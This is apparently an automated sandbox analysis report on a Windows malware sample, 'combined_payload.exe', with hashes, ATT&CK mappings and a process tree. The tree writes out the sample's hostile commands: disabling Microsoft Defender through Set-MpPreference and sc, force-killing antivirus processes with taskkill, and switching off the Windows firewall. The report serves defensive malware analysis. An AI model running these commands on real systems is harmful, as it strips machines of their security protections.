cf1aeb5987f56ebbcaf47dd3c2cb56a30d09ca6ecf25da6f1313b3897d37451d

Analysis

user interaction
yes
max time kernel
149s
max time network
57s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/09/2026, 16:30

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General

Target
combined_payload.exe
Size 1.5MB
Sample260930-tz73ds1brf
SHA256 cf1aeb5987f56ebbcaf47dd3c2cb56a30d09ca6ecf25da6f1313b3897d37451d
MD5 b9cab273900ad6cdfacaa7a923a308f6
SHA1 633c90d6b59e26491b734c9c2cee93a9e09a2330
SHA512 784b09e5a3a9ff9c6490e30c49821c6ce98666a8ab31b78c6919af7f4d99645fa90038373d16aff38cf38d829fba1bbb4e4d50686286ba96ae96b1c544219b4b
SSDEEP 24576:CABvYwCT9miSfIoAGjMRwMHaYFnfrYNi+lGBn76U7CuR7hPT:0TciStMWQ0MH7PWa
TLSH
T139753A03A7E5DDEAC89AAB3991C72719F634FC6017A3ABD7431052212E537D99D3EB00
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence privilege_escalation

Malware Config

Signatures

Disables one or more Microsoft Defender components 1 TTPs 5 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
2676	powershell.exe
1412	powershell.exe
1664	powershell.exe
4696	powershell.exe
1424	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3452	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2676	powershell.exe
1412	powershell.exe
1664	powershell.exe
4696	powershell.exe
1424	powershell.exe

Enumerates connected drives 3 TTPs 5 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4128	sc.exe
4316	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Kills process with taskkill 15 IoCs

defense_evasion

pid	Process
5040	taskkill.exe
1624	taskkill.exe
5044	taskkill.exe
664	taskkill.exe
4420	taskkill.exe
2152	taskkill.exe
1580	taskkill.exe
4868	taskkill.exe
3840	taskkill.exe
4628	taskkill.exe
5056	taskkill.exe
5116	taskkill.exe
2052	taskkill.exe
440	taskkill.exe
3864	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2676	powershell.exe
2676	powershell.exe
1412	powershell.exe
1412	powershell.exe
1664	powershell.exe
1664	powershell.exe
4696	powershell.exe
4696	powershell.exe
1424	powershell.exe
1424	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	1412	powershell.exe
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeDebugPrivilege	4696	powershell.exe
Token: SeDebugPrivilege	1424	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3248	combined_payload.exe
3248	combined_payload.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3248 wrote to memory of 2676	3248	combined_payload.exe	89
PID 3248 wrote to memory of 1412	3248	combined_payload.exe	91
PID 3248 wrote to memory of 1664	3248	combined_payload.exe	93
PID 3248 wrote to memory of 4696	3248	combined_payload.exe	95
PID 3248 wrote to memory of 1424	3248	combined_payload.exe	98
PID 3248 wrote to memory of 4128	3248	combined_payload.exe	101
PID 3248 wrote to memory of 4316	3248	combined_payload.exe	103
PID 3248 wrote to memory of 1580	3248	combined_payload.exe	106
PID 3248 wrote to memory of 440	3248	combined_payload.exe	108
PID 3248 wrote to memory of 5040	3248	combined_payload.exe	110
PID 3248 wrote to memory of 1624	3248	combined_payload.exe	112
PID 3248 wrote to memory of 3864	3248	combined_payload.exe	114
PID 3248 wrote to memory of 5044	3248	combined_payload.exe	116
PID 3248 wrote to memory of 2052	3248	combined_payload.exe	118
PID 3248 wrote to memory of 664	3248	combined_payload.exe	120
PID 3248 wrote to memory of 4420	3248	combined_payload.exe	122
PID 3248 wrote to memory of 4868	3248	combined_payload.exe	124
PID 3248 wrote to memory of 3840	3248	combined_payload.exe	126
PID 3248 wrote to memory of 4628	3248	combined_payload.exe	128
PID 3248 wrote to memory of 2152	3248	combined_payload.exe	130
PID 3248 wrote to memory of 5056	3248	combined_payload.exe	132
PID 3248 wrote to memory of 5116	3248	combined_payload.exe	134
PID 3248 wrote to memory of 3452	3248	combined_payload.exe	136
PID 3248 wrote to memory of 4812	3248	combined_payload.exe	138
PID 4812 wrote to memory of 3448	4812	net.exe	140

C:\Users\Admin\AppData\Local\Temp\combined_payload.exe
"C:\Users\Admin\AppData\Local\Temp\combined_payload.exe"
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Set-MpPreference -DisableScriptScanning $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1424
- C:\Windows\SYSTEM32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4128
- C:\Windows\SYSTEM32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:4316
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im MsMpEng.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:1580
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im MsSense.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:440
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im SenseIR.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:5040
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im SenseNdr.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:1624
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im WdNisSvc.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:3864
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im SecurityHealthService.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:5044
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im MpCmdRun.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:2052
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im avp.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:664
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im avguard.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:4420
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im bdagent.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:4868
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im egui.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:3840
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im kavfs.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:4628
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im mcshield.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:2152
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im norton.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:5056
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im sophos.exe 2>nul
  2⤵
  - Kills process with taskkill
  PID:5116
- C:\Windows\SYSTEM32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3452
- C:\Windows\SYSTEM32\net.exe
  net stop mpssvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4812
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mpssvc
    3⤵
    PID:3448

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 04e3abee01c1053e991b06858069e06ffc9722659cf3d6e024f5d1f34c05a474
MD5 c558a929f5c991ed7363b323d4eb0b90
SHA1 2563cd152880eab5bc780933905f854b29c9d566
SHA512 06f804d44298137f74cfcd30c64661a30c6c27ef00f370485d98cfdbcc43e23ea1a8ac1c9d7fd65af08671bbe466dcde017b174912c17609499490971763b7cf
TLSH
T1EB112223F78C8920CC96163A509DAC5172B586CB81AEDF9F7FC0C210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 30bf8496e9a08f4fdfe4767abcd565f92b6da06ca1c7823a70cb7cab16262e51
MD5 98baf5117c4fcec1692067d200c58ab3
SHA1 5b33a57b72141e7508b615e17fb621612cb8e390
SHA512 344a70bfc037d54176f12db91f05bf4295bb587a5062fd1febe6f52853571170bd8ef6042cb87b893185bbae1937cf77b679d7970f8cc1c2666b0b7c1b32987d
TLSH
T1B3112223F78C8920CC961639509DAC5172B986CB81AFDE9F7FC0D210A1BF584CB61194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 00f8a035324d39bd62e6dee5e1b480069015471c487ebee4479e6990ea9ddb14
MD5 10890cda4b6eab618e926c4118ab0647
SHA1 1e1d63b73a0e6c7575f458b3c7917a9ce5ba776d
SHA512 a2ee84006c24a36f25e0bca0772430d64e3791f233da916aecdeae6712763e77d55bbbd00dc8f6b2b3887f3c26ab3980b96c5f46cc823e81e28abbbc5fc78221
TLSH
T15F112223F38C8921CC961539509DAC5172B586CB81AFDE9F7FC0D210A1BF584CBA11D4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961
MD5 15dde0683cd1ca19785d7262f554ba93
SHA1 d039c577e438546d10ac64837b05da480d06bf69
SHA512 57c0e1b87bc1c136f0d39f3ce64bb8f8274a0491e4ca6e45e5c7f9070aa9d9370c6f590ce37cd600b252df2638d870205249a514c43245ca7ed49017024a4672
TLSH
T1B4112223F38C8960CC961539509DAC5172B586CB81AFDE9F7FC0C210A1BF584CB61194
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_znssx00y.voi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_znssx00y.voi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1412-14-0x0000014FF8CE0000-0x0000014FF8CF0000-memory.dmp

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memory/1412-13-0x0000014FF8CE0000-0x0000014FF8CF0000-memory.dmp

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memory/1424-52-0x000001CA46010000-0x000001CA4622C000-memory.dmp

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memory/2676-0-0x0000018BCA3A0000-0x0000018BCA3B0000-memory.dmp

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memory/2676-2-0x0000018BCA370000-0x0000018BCA392000-memory.dmp

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memory/2676-1-0x0000018BCA3A0000-0x0000018BCA3B0000-memory.dmp

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memory/4696-42-0x0000019A3D4B0000-0x0000019A3D6CC000-memory.dmp

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